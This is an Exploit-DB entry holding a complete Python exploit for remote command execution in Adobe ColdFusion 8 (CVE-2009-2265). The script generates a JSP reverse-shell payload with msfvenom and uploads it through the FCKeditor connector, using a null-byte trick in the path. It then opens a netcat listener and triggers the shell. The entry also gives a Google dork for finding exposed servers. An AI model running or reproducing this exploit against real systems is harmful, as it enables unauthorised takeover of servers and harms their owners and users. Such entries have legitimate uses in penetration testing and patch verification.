Exploit-DB #50057
Description: Adobe ColdFusion 8 - Remote Command Execution (RCE)
Type: webapps
Platform: cfm
Date: 2021-06-24
Author: Pergyz

Exploit:
# Exploit Title: Adobe ColdFusion 8 - Remote Command Execution (RCE)
# Google Dork: intext:"adobe coldfusion 8"
# Date: 24/06/2021
# Exploit Author: Pergyz
# Vendor Homepage: https://www.adobe.com/sea/products/coldfusion-family.html
# Version: 8
# Tested on: Microsoft Windows Server 2008 R2 Standard
# CVE : CVE-2009-2265

#!/usr/bin/python3

from multiprocessing import Process
import io
import mimetypes
import os
import urllib.request
import uuid

class MultiPartForm:

    def __init__(self):
        self.files = []
        self.boundary = uuid.uuid4().hex.encode('utf-8')
        return

    def get_content_type(self):
        return 'multipart/form-data; boundary={}'.format(self.boundary.decode('utf-8'))

    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
        body = fileHandle.read()

        if mimetype is None:
            mimetype = (mimetypes.guess_type(filename)[0] or 'application/octet-stream')

        self.files.append((fieldname, filename, mimetype, body))
        return

    @staticmethod
    def _attached_file(name, filename):
        return (f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n').encode('utf-8')

    @staticmethod
    def _content_type(ct):
        return 'Content-Type: {}\r\n'.format(ct).encode('utf-8')

    def __bytes__(self):
        buffer = io.BytesIO()
        boundary = b'--' + self.boundary + b'\r\n'

        for f_name, filename, f_content_type, body in self.files:
            buffer.write(boundary)
            buffer.write(self._attached_file(f_name, filename))
            buffer.write(self._content_type(f_content_type))
            buffer.write(b'\r\n')
            buffer.write(body)
            buffer.write(b'\r\n')

        buffer.write(b'--' + self.boundary + b'--\r\n')
        return buffer.getvalue()

def execute_payload():
    print('\nExecuting the payload...')
    print(urllib.request.urlopen(f'http://{rhost}:{rport}/userfiles/file/{filename}.jsp').read().decode('utf-8'))

def listen_connection():
    print('\nListening for connection...')
    os.system(f'nc -nlvp {lport}')

if __name__ == '__main__':
    # Define some information
    lhost = '10.10.16.4'
    lport = 4444
    rhost = "10.10.10.11"
    rport = 8500
    filename = uuid.uuid4().hex

    # Generate a payload that connects back and spawns a command shell
    print("\nGenerating a payload...")
    os.system(f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -o {filename}.jsp')

    # Encode the form data
    form = MultiPartForm()
    form.add_file('newfile', filename + '.txt', fileHandle=open(filename + '.jsp', 'rb'))
    data = bytes(form)

    # Create a request
    request = urllib.request.Request(f'http://{rhost}:{rport}/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/{filename}.jsp%00', data=data)
    request.add_header('Content-type', form.get_content_type())
    request.add_header('Content-length', len(data))

    # Print the request
    print('\nPriting request...')

    for name, value in request.header_items():
        print(f'{name}: {value}')

    print('\n' + request.data.decode('utf-8'))

    # Send the request and print the response
    print('\nSending request and printing response...')
    print(urllib.request.urlopen(request).read().decode('utf-8'))
    
    # Print some information
    print('\nPrinting some information for debugging...')
    print(f'lhost: {lhost}')
    print(f'lport: {lport}')
    print(f'rhost: {rhost}')
    print(f'rport: {rport}')
    print(f'payload: {filename}.jsp')

    # Delete the payload
    print("\nDeleting the payload...")
    os.system(f'rm {filename}.jsp')

    # Listen for connections and execute the payload
    p1 = Process(target=listen_connection)
    p1.start()
    p2 = Process(target=execute_payload)
    p2.start()
    p1.join()
    p2.join()